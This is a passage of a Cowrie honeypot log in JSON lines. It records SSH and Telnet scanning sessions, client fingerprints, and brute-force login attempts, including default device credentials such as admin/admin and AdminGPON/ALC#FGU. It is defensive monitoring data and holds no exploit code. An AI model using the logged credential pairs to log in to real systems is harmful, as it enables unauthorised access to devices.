{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:38.793043Z","src_ip":"103.15.226.202","session":"a9f67aa7ea59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dwoper","password":"dwoper","message":"login attempt [dwoper/dwoper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:39.513563Z","src_ip":"103.15.226.202","session":"a9f67aa7ea59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:40.757396Z","src_ip":"103.15.226.202","session":"a9f67aa7ea59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15464,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbc1935a39c","protocol":"ssh","message":"New connection: 87.251.64.176:15464 (10.17.0.5:22) [session: 1bbc1935a39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:40.977697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:40.982638Z","src_ip":"87.251.64.176","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:41.079107Z","src_ip":"87.251.64.176","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:41.378128Z","src_ip":"87.251.64.176","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:41.476567Z","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:41.574790Z","src_ip":"87.251.64.176","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:41.673427Z","src_ip":"87.251.64.176","session":"1bbc1935a39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":58680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cca7c6b22bd7","protocol":"telnet","message":"New connection: 208.92.193.123:58680 (10.17.0.5:23) [session: cca7c6b22bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:06.996011Z"}
{"eventid":"cowrie.session.closed","duration":31.27750515937805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:38.273392Z","src_ip":"208.92.193.123","session":"cca7c6b22bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":52928,"dst_ip":"159.203.135.109","dst_port":22,"session":"29cde2d3c4e4","protocol":"ssh","message":"New connection: 193.24.211.100:52928 (159.203.135.109:22) [session: 29cde2d3c4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:53.013595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:53.022074Z","src_ip":"193.24.211.100","session":"29cde2d3c4e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:53.129994Z","src_ip":"193.24.211.100","session":"29cde2d3c4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iphone","message":"login attempt [root/iphone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:53.554100Z","src_ip":"193.24.211.100","session":"29cde2d3c4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:12:54.664677Z","src_ip":"193.24.211.100","session":"29cde2d3c4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.226.180","src_port":48880,"dst_ip":"159.203.135.109","dst_port":23,"session":"88834a79d886","protocol":"telnet","message":"New connection: 45.181.226.180:48880 (159.203.135.109:23) [session: 88834a79d886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:22.032524Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":45926,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd8732f434c4","protocol":"ssh","message":"New connection: 194.59.206.2:45926 (10.17.0.5:22) [session: bd8732f434c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:23.287296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:23.291755Z","src_ip":"194.59.206.2","session":"bd8732f434c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:23.377656Z","src_ip":"194.59.206.2","session":"bd8732f434c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:23.467701Z","src_ip":"194.59.206.2","session":"bd8732f434c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.713686466217041,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:13:35.746066Z","src_ip":"45.181.226.180","session":"88834a79d886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"a361a6a038f5","protocol":"telnet","message":"New connection: 208.92.193.123:60752 (10.17.0.5:23) [session: a361a6a038f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:14:25.689275Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":55200,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6142e003b65","protocol":"telnet","message":"New connection: 129.232.238.42:55200 (159.203.135.109:23) [session: b6142e003b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:14:37.732062Z"}
{"eventid":"cowrie.session.closed","duration":30.861708641052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:14:56.550870Z","src_ip":"208.92.193.123","session":"a361a6a038f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33440,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78032ef1096","protocol":"ssh","message":"New connection: 103.15.226.202:33440 (10.17.0.5:22) [session: b78032ef1096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:12.931395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:12.936515Z","src_ip":"103.15.226.202","session":"b78032ef1096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:13.188218Z","src_ip":"103.15.226.202","session":"b78032ef1096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"easymgr","password":"easymgr","message":"login attempt [easymgr/easymgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:13.919121Z","src_ip":"103.15.226.202","session":"b78032ef1096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.222.215.96","src_port":22703,"dst_ip":"159.203.135.109","dst_port":23,"session":"432822f6346f","protocol":"telnet","message":"New connection: 106.222.215.96:22703 (159.203.135.109:23) [session: 432822f6346f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:13.939883Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:15.167260Z","src_ip":"103.15.226.202","session":"b78032ef1096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.80963683128357,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:17.541534Z","src_ip":"129.232.238.42","session":"b6142e003b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.005184173583984,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:26.944911Z","src_ip":"106.222.215.96","session":"432822f6346f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":21478,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e81c40ee12e","protocol":"ssh","message":"New connection: 31.57.184.247:21478 (10.17.0.5:22) [session: 5e81c40ee12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:43.856792Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:43.863017Z","src_ip":"31.57.184.247","session":"5e81c40ee12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":21486,"dst_ip":"10.17.0.5","dst_port":22,"session":"218de17c52ba","protocol":"ssh","message":"New connection: 31.57.184.247:21486 (10.17.0.5:22) [session: 218de17c52ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:44.046936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:44.051418Z","src_ip":"31.57.184.247","session":"218de17c52ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:44.165081Z","src_ip":"31.57.184.247","session":"218de17c52ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:44.511362Z","src_ip":"31.57.184.247","session":"218de17c52ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:15:45.617967Z","src_ip":"31.57.184.247","session":"218de17c52ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.224","src_port":62902,"dst_ip":"159.203.135.109","dst_port":22,"session":"6809d819091f","protocol":"ssh","message":"New connection: 198.235.24.224:62902 (159.203.135.109:22) [session: 6809d819091f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:11.717944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:16:12.952536Z","src_ip":"198.235.24.224","session":"6809d819091f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sh